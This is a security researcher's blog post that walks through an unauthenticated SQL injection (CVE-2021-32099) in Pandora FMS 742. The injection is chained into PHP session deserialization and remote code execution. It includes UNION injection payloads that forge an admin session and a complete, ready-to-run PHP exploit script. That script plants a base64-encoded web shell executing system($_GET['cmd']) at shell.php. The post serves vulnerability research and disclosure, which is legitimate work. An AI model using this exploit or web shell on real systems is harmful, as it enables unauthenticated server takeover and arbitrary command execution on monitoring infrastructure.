This page looks best with JavaScript enabled

From SQLi to PHP deserialize to RCE on Pandora FMS 742

 ·  ☕ 15 min read  ·  🐉 Edisc

From SQLi to PHP deserialize to RCE on Pandora FMS 742


Welcome to my blog, dedicated to unraveling the intricated world of PHP vulnerabilities! Today, I’m thrilled to share my latest research findings on Pandora FMS 742, a prominent network monitoring tool. In my pursuit of enhancing the security landscape, I’ve meticulously analyzed the critical code vulnerabilities inherent in this widely-used software.

I Introducing Pandora FMS 742

  • Pandora FMS is a monitoring software that collects data from any system, generates alerts based on that data and shows graphs, reports and maps of our environment. There are two versions of Pandora FMS: a free or Open Source version and a paid or Enterprise version, available starting from 100 devices.

II Building the environment

To Install Pandora FMS, you can refer directly to Pandora FMS Documentation Installing [Pandora FMS Documentation] or follow the installation guide for Ubuntu from the following links:

III Exploitation

1. SQL Injection (pre authentication) (CVE-2021-32099)

  • The vulnerability originates from the application’s failure to validate the input values from users in the include/chart_generator.php:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
...
$user = new PandoraFMS\User(['phpsessionid' => $_REQUEST['session_id']]);
if (check_login(false) === false) {
    // Error handler.
    ?>
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Access denied</title>
    <link rel="stylesheet" href="styles/pandora.css" type="text/css" />
    <link rel="stylesheet" href="styles/pandora_minimal.css" type="text/css" />
    <link rel="stylesheet" href="styles/js/jquery-ui.min.css" type="text/css" />
    <link rel="stylesheet" href="styles/js/jquery-ui_custom.css" type="text/css" />
    <script language="javascript" type='text/javascript' src='javascript/pandora.js'></script>
    <script language="javascript" type='text/javascript' src='javascript/jquery-3.3.1.min.js'></script>
</head>
<body>
    <h1>Access is not granted</h1>
    <?php echoPhantomCallback(); ?>
</body>
</html>

    <?php
    exit;
}
  • At line 2, the session_id value is controlled by the attacker. Let’s delve deeper into the constructor function of the PandoraFMS\Userclass:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public function __construct($data)
    {
        global $config;

        // Unset user.
        unset($config['id_usuario']);
        unset($_SESSION['id_usuario']);

        if (is_array($data) === true) {
            if (isset($data['phpsessionid']) === true) {
                $this->sessions[$data['phpsessionid']] = 1;
                $info = \db_get_row_filter(
                    'tsessions_php',
                    ['id_session' => $data['phpsessionid']]
                );

                if ($info !== false) {
                    // Process.
                    $session_data = session_decode($info['data']);
                    $this->idUser = $_SESSION['id_usuario'];

                    // Valid session.
                    return $this;
                }

                return null;
            }

            if (isset($data['id_usuario']) === true
                && isset($data['password']) === true
            ) {
                $user_in_db = process_user_login($user, $password, true);
                if ($user_in_db !== false) {
                    $config['id_usuario'] = $user_in_db;
                    $correctLogin = true;

                    // Originally at api.php.
                    if (session_status() === PHP_SESSION_NONE) {
                        session_start();
                    }

                    $_SESSION['id_usuario'] = $user;
                    session_write_close();

                    $this->idUser = $data['id_usuario'];
                    // Valid session.
                    return $this;
                }
            }
        }

        return null;

    }
  • At lines 12-15, the phpsessionid value will be used as an argument for the db_get_row_filter() function. The output of the db_get_row_filter() function is saved in the info variable and $info['data'] will be deserialized using the session_decode() fuction. Let’s delve deeper into the db_get_row_filter function:

    1
    2
    3
    4
    5
    6
    7
    8
    
    function db_get_row_filter($table, $filter, $fields=false, $where_join='AND', $historydb=false)
    {
        global $config;
    
        switch ($config['dbtype']) {
            case 'mysql':
            return mysql_db_get_row_filter($table, $filter, $fields, $where_join, $historydb);
    ...
    
  • Because the database being used is MariaDB-mysql, let’s delve deeper into the mysql_db_get_row_filter function at line 7:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    
    function mysql_db_get_row_filter($table, $filter, $fields=false, $where_join='AND', $historydb=false)
    {
        if (empty($fields)) {
            $fields = '*';
        } else {
            if (is_array($fields)) {
                $fields = implode(',', $fields);
            } else if (! is_string($fields)) {
                return false;
            }
        }
    
        if (is_array($filter)) {
            $filter = db_format_array_where_clause_sql($filter, $where_join, ' WHERE ');
        } else if (is_string($filter)) {
            $filter = 'WHERE '.$filter;
        } else {
            $filter = '';
        }
    
        $sql = sprintf('SELECT %s FROM %s %s', $fields, $table, $filter);
    
        return db_get_row_sql($sql, $historydb);
    }
    
  • Yeah, it indicates that the program will construct a SQL query. It is easy to observe the value of SQL query by using a sample payload and debugging program.

    • The used payload is

    Untitled

    • The value of SQL query by debugging:

    Untitled

    • Đây là dấu hiệu của SQLi, bây giờ chúng ta thử truyền vào những kí tự break xem sao
    • This is a signature of a SQL Injection attack. Now, we will use a payload with some ‘break characters’ and observe the results:

    Untitled

    • It doesn’t have any function to filter my payload! Nice!
    • This following payload will make the WHERE clause always true and add a # to comment out any characters following it, if the program allows it.
    1
    
    xxxx' or 1=1 #
    
    • Going deeper into the db_get_row_sql, we can see:
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    
     function db_get_row_sql($sql, $search_history_db=false)
    {
        global $config;
    
        switch ($config['dbtype']) {
            case 'mysql':
            return mysql_db_get_row_sql($sql, $search_history_db);
    
                break;
            case 'postgresql':
            return postgresql_db_get_row_sql($sql, $search_history_db);
    
    • This program calls the mysql_db_get_row_sql($sql, $search_history_db); function since it utilizes the MYSQL database.
  • The following code represents the definition of mysql_db_get_row_sql at line 7:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
function mysql_db_get_row_sql($sql, $search_history_db=false)
{
    $sql .= ' LIMIT 1';
    $result = db_get_all_rows_sql($sql, $search_history_db);

    if ($result === false) {
        return false;
    }

    return $result[0];
}
  • This function adds the string ' LIMIT 1' to retrieve the first value. It executes the db_get_all_rows_sql($sql, $search_history_db) function, saves the output to the $result array and returns the result[0].
  • I tried sending my payload and retrieving data directly from MySQL to observe the results:

Untitled

  • It is clear that sessions that did not successfully log in will a have null value in the ‘data’ field, while sessions with successful logins will have data stored in this field. So we can use this payload to exploit
1
xxx' UNION SELECT 'a',1,'id_usuario|s:5:"admin";' as data FROM tsessions_php WHERE '1'='1' #

2. FUNNY: PHP deserialization attack via session_decode() function

a. Session_decode()

  • In the blog post, there is a description as follows:

Note that the function session_decode() is capable of deserializing arbitrary objects similar to the function unserialize(). This means that an attacker could deserialize arbitrary objects via the SQL Injection and this can be another attack vector.

  • Let’s examine the code in __construct() function of include/lib/User.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public function __construct($data)
    {
        global $config;

        // Unset user.
        unset($config['id_usuario']);
        unset($_SESSION['id_usuario']);

        if (is_array($data) === true) {
            if (isset($data['phpsessionid']) === true) {
                $this->sessions[$data['phpsessionid']] = 1;
                $info = \db_get_row_filter(
                    'tsessions_php',
                    ['id_session' => $data['phpsessionid']]
                );

                if ($info !== false) {
                    // Process.
                    $session_data = session_decode($info['data']);
                    $this->idUser = $_SESSION['id_usuario'];

                    // Valid session.
                    return $this;
                }

                return null;
            }

            if (isset($data['id_usuario']) === true
                && isset($data['password']) === true
            ) {
                $user_in_db = process_user_login($user, $password, true);
                if ($user_in_db !== false) {
                    $config['id_usuario'] = $user_in_db;
                    $correctLogin = true;

                    // Originally at api.php.
                    if (session_status() === PHP_SESSION_NONE) {
                        session_start();
                    }

                    $_SESSION['id_usuario'] = $user;
                    session_write_close();

                    $this->idUser = $data['id_usuario'];
                    // Valid session.
                    return $this;
                }
            }
        }

        return null;

    }
  • At line 19, we can see:
1
 $session_data = session_decode($info['data']);
  • The value of $info['data'] is passed to session_decode() function. Below is an example of a valid value stored in the database:

    1
    2
    
    id_usuario|s:5:"admin";alert_msg|a:0:{}new_chat|b:0
    id_usuario|s:5:"admin";alert_msg|a:0:{}new_chat|b:0;csrf_code|s:32:"e7c2afc1ece9d83b21ca017a98586068"
    

Untitled

  • These values are in the form of serialized strings. So, the attack vector here would be as follows:

    1. The attacker utilizes SQL injection to insert exploit code into $info['data'].
    2. The program will load the content provided by the attacker and trigger the payload in the session_decode($info['data']) function.
  • One advantage of setting up a debug environment is that we can modify the values of variables as desired before proceeding with the next command. Here, I will make direct modifications during the debug process to verify.

  • In order for the attacker to insert data into the SQL, we have two approaches:

    1. How to customize the payload into an insert data statement, as our query statement has the following format:
    1
    
    "SELECT * FROM tsessions_php  WHERE `id_session` = '<payload_injected>' LIMIT 1;"
    
    1. Locate the location where the SQL saves the session data into the database and modify it.
  • After about an hour of searching and thinking, I realized that I had been going in the wrong direction 😟. Actually, we don’t need to insert data directly into the database, but rather manipulate the query in a way that it returns the value we control. If it seems a bit confusing, take a look at the following query:

1
"SELECT * FROM tsessions_php  WHERE `id_session` = 'xxxxx' union select '1',0,'xxx' as data#'"
  • The above query uses the UNION operator to combine two sets of data. In this case, the first part of the WHERE clause is always false, resulting in a null value. However, the second part of the query returns the desired values: '1', 0, 'xxx'.

    By ultilzing the UNION opertor, we can merge our own data with the original query’s result set. This allows to control the returned values and manipulate the query’s outcome to our advantage.

  • By doing this, I have successfully gained control over the value passed to the session_decode() function. Now we can move on the next step, which is building the exploit.

Untitled

b. Building a POP chain.

a. Methology:
  • Identify magic methods within classes that can be called by session_decode.
  • Search for existing chains related to Pandora FMS on the internet and customize them.
  • Utilize chains from other frameworks in PHP-GCC as inspiration.
  • New idea:
    • Invoke functions, use SQL to bypass authentication, and use session_decode() to modify properties within classes.
Building a pop chain

One challenge encountered when building a pop chain is not knowing which classes have been instantiated and can be invoked at runtime.

⇒ Solution: Use console debug or print statements to identify the instantiated classes

1
2
3
4
5
$classes = get_declared_classes();

****foreach ($classes as $class) {
    echo $class . "\n";
}
  • By using the above method, we have obtained a list of classes that can be invoked
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
stdClass
Exception
ErrorException
Error
ParseError
TypeError
ArgumentCountError
ArithmeticError
DivisionByZeroError
Closure
Generator
ClosedGeneratorException
DateTime
DateTimeImmutable
DateTimeZone
DateInterval
DatePeriod
LibXMLError
HashContext
ReflectionException
Reflection
ReflectionFunctionAbstract
ReflectionFunction
ReflectionGenerator
ReflectionParameter
ReflectionType
ReflectionNamedType
ReflectionMethod
ReflectionClass
ReflectionObject
ReflectionProperty
ReflectionClassConstant
ReflectionExtension
ReflectionZendExtension
LogicException
BadFunctionCallException
BadMethodCallException
DomainException
InvalidArgumentException
LengthException
OutOfRangeException
RuntimeException
OutOfBoundsException
OverflowException
RangeException
UnderflowException
UnexpectedValueException
RecursiveIteratorIterator
IteratorIterator
FilterIterator
RecursiveFilterIterator
CallbackFilterIterator
RecursiveCallbackFilterIterator
ParentIterator
LimitIterator
CachingIterator
RecursiveCachingIterator
NoRewindIterator
AppendIterator
InfiniteIterator
RegexIterator
RecursiveRegexIterator
EmptyIterator
RecursiveTreeIterator
ArrayObject
ArrayIterator
RecursiveArrayIterator
SplFileInfo
DirectoryIterator
FilesystemIterator
RecursiveDirectoryIterator
GlobIterator
SplFileObject
SplTempFileObject
SplDoublyLinkedList
SplQueue
SplStack
SplHeap
SplMinHeap
SplMaxHeap
SplPriorityQueue
SplFixedArray
SplObjectStorage
MultipleIterator
SodiumException
SessionHandler
__PHP_Incomplete_Class
php_user_filter
Directory
AssertionError
PDOException
PDO
PDOStatement
PDORow
CURLFile
DOMException
DOMStringList
DOMNameList
DOMImplementationList
DOMImplementationSource
DOMImplementation
DOMNode
DOMNameSpaceNode
DOMDocumentFragment
DOMDocument
DOMNodeList
DOMNamedNodeMap
DOMCharacterData
DOMAttr
DOMElement
DOMText
DOMComment
DOMTypeinfo
DOMUserDataHandler
DOMDomError
DOMErrorHandler
DOMLocator
DOMConfiguration
DOMCdataSection
DOMDocumentType
DOMNotation
DOMEntity
DOMEntityReference
DOMProcessingInstruction
DOMStringExtend
DOMXPath
finfo
mysqli_sql_exception
mysqli_driver
mysqli
mysqli_warning
mysqli_result
mysqli_stmt
PharException
Phar
PharData
PharFileInfo
SimpleXMLElement
SimpleXMLIterator
SNMP
SNMPException
XMLReader
XMLWriter
XSLTProcessor
ZipArchive
StreamReader
StringReader
FileReader
CachedFileReader
gettext_reader
PandoraFMS\User
NetworkMap
  • I have found an unauthenticated endpoint, but I haven’t been able to control the path:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    GET /pandora_console/include/Image/image_functions.php?getFile=/tmp/test.png&file=tumb_600x400_test.png&thumb=edisc&thumb_size=600x400 HTTP/1.1
    Host: 192.168.159.135
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    
  • When searching on the internet, I came across a paper discussing it : https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf

    If we have complete control of a string within the $_SESSION array which occurs within the first 100
    bytes we can use a similar technique to cause the session file to be a valid Phar/Tar archive

  • To gain a better understanding, I would recommend asking ChatGPT for further clarification 😉

    The session data in PHP is typically stored on the server-side as files, which are created and managed by PHP’s session handler. By default, these files are stored in a directory specified by the session.save_path directive in the php.ini configuration file.

    In some cases, an attacker may be able to manipulate the session data to execute arbitrary code on the server. One such attack involves abusing the fact that PHP’s session_start() function automatically unserializes the session data stored in the session file.

    If an attacker has complete control over a string within the first 100 bytes of the session data, they can use a technique called “phar deserialization” to create a valid Phar/Tar archive within the session file. This can be accomplished by crafting a string that contains a serialized Phar object, followed by arbitrary data that will be interpreted as the contents of the Phar archive.

    When the session data is unserialized by PHP, the Phar object will be deserialized and the contents of the archive will be written to disk. This can allow an attacker to write arbitrary files to the server, which could be used to execute arbitrary code or perform other malicious actions.

    To protect against this attack, it is important to properly sanitize and validate all user input, and to avoid using user-controlled data within the session data. Additionally, it is recommended to set the session.serialize_handler directive to a value other than php (such as igbinary), which can provide additional protection against deserialization attacks.

  • The phpgcc tool provides a chain to exploit the vendor Swiftmailer, which Pandora is using. We can build an exploit chain using it. However, one issue we encountered is that the session_decode() function does not load Swiftmailer, causing the classes and objects of that class to be unreadable, resulting in the payload being unable to execute.

Untitled

  • After a period of research, I discovered that the payload passed into the session is stored in the database. Each time the website is accessed, the session is loaded and decoded. At that point, our payload will be deserialized. With this mindset, after injecting the session into the database, we only need to access a location that loads the vendor to exploit it. In this case, it is the path ws.php.

Untitled

For more details about the deserialization vulnerability in the Swiftmailer vendor, you can refer to the following link: https://github.com/CFandR-github/advisory/blob/main/phpmailer_rce_poi/phpmailer_unserialize_rce_0day.md

Sure, let’s proceed with building the payload and exploit. One thing to note here is that there is a difference between the exploitation payload for this context and the payload used in PHPGCC.

Additionally, there are differences in the construction of the serialized string with various properties.

For the serialization of objects, the data serialized by member variables under different permission modifiers is also different:

1
2
3
4
5
6
7
8
9
<?php
class TestClass {
    PermissionDecorator $testMember;
    public function __construct($t)
    {
        $this->testMember = $t;
    }
}
$data = new TestClass("edisc12");

public:

1
"O:9:"TestClass":1:{s:10:"testMember";s:7:"edisc12";}"

protected:

1
"O:9:"TestClass":1:{s:13:"\x00*\x00testMember";s:7:"edisc12";}"

private:

1
"O:9:"TestClass":1:{s:21:"\x00TestClass\x00testMember";s:7:"edisc12";}"
  • Below is my exploit code:
exploit
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
<?php
// include 'unserialize.php';
session_start();
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream{}

class Swift_Events_SimpleEventDispatcher{}

class Swift_Transport_SendmailTransport {
    public $buffer;
    public $started;
    public $eventDispatcher;
}

abstract class Swift_ByteStream_AbstractFilterableInputStream{

    private $filters = [];
    private $writeBuffer = '<?php eval(base64_decode("IGlmKGlzc2V0KCRfR0VUWydjbWQnXSkpIHsgc3lzdGVtKCRfR0VUWydjbWQnXSk7IH0g"));?>//';
  
}

function httpGet($url, $sessionId)
{
    $status = false;
    $curl = curl_init($url);
    $header = ['Content-Type: application/x-www-form-urlencoded'];
    $header[] = 'Cookie: PHPSESSID='.$sessionId;
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
    curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //proxy
    $response = curl_exec($curl);
    $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE); // Get the HTTP response code
    if ($httpCode === 302){
        $status = true;
    }
    curl_close($curl);
    return $status;
}

function httpPost($url, $data)
{
    $curl = curl_init($url);
    curl_setopt_array($curl, [
        CURLOPT_POST => true,
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
        CURLOPT_HEADER => true,
        CURLOPT_POSTFIELDS => $data,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_PROXY => '127.0.0.1:8080', //proxy
    ]);
    $response = curl_exec($curl);
    // var_dump($response);

    if (strpos($response, "Pandora FMS Graph ( - )") !== false) {
        echo "[+] Inject payload successful!" . PHP_EOL;
    } else {
        echo "[!]Inject payload failed!" . PHP_EOL;
        die();
    }

    curl_close($curl);
    return $response;
}

function exploit($host)
{

    // Create Swift_Transport_SendmailTransport instance and set its properties
    $payload = new Swift_Transport_SendmailTransport();
    $payload->buffer = new Swift_ByteStream_FileByteStream();
    $payload->buffer->path = "/var/www/html/pandora_console/shell.php";
    $payload->buffer->mode = "w+b";
    $payload->started = true;
    $payload->eventDispatcher = new Swift_Events_SimpleEventDispatcher();

    // Set session variables
    $_SESSION['id_usuario'] = 'admin';
    $_SESSION['alert_msg'] = array();
    $_SESSION['new_chat'] = false;

    // Set the payload instance as session data
    $_SESSION['vulnClass'] = $payload;

    // Encode the session data
    $encodedData = session_encode();
    // echo PHP_EOL . PHP_EOL . "Encoded session data: " . $encodedData . PHP_EOL;

    // Decode the session data
    session_decode($encodedData);
    // echo "Decoded session data: " . PHP_EOL;

    // Send request
    echo PHP_EOL . "[+] Send payload..." . PHP_EOL;
    $url = $host . '/pandora_console/include/chart_generator.php';
    $data = 'session_id=' . urlencode('xxxxx\' union select \'1\',0,\'' . $encodedData . '\' as data#');
    $response = httpPost($url, $data);
    // var_dump($response);

    // Extract session ID from response headers
    echo "[+] Extracting PHPSESSID...";
    preg_match('/PHPSESSID=([^\s;]+)/', $response, $matches);
    if (isset($matches[1])) {
        $sessionId = $matches[1];
        echo "[+] PHPSESSID = " . $sessionId . PHP_EOL;

        // Trigger payload
        echo PHP_EOL . "[+] Triggering payload..." . PHP_EOL;
        $url = $host . "/pandora_console/ws.php";
        $status = httpGet($url, $sessionId);

        if ($status) {
            echo "[+] Exploit successful. Your shell is located at: " . $host . "/pandora_console/shell.php" . PHP_EOL;
        } else {
            echo "Exploit failed." . PHP_EOL;
        }
    }
}

if ($argc < 2) {
    die("Usage: php exploit.php <url>\n");
}

$url = $argv[1];
echo "Running exploit on $url\n";
exploit($url);

?>

IV References

Share on

Edisc
WRITTEN BY
Edisc
Cyber Security Engineer

 
What's on this Page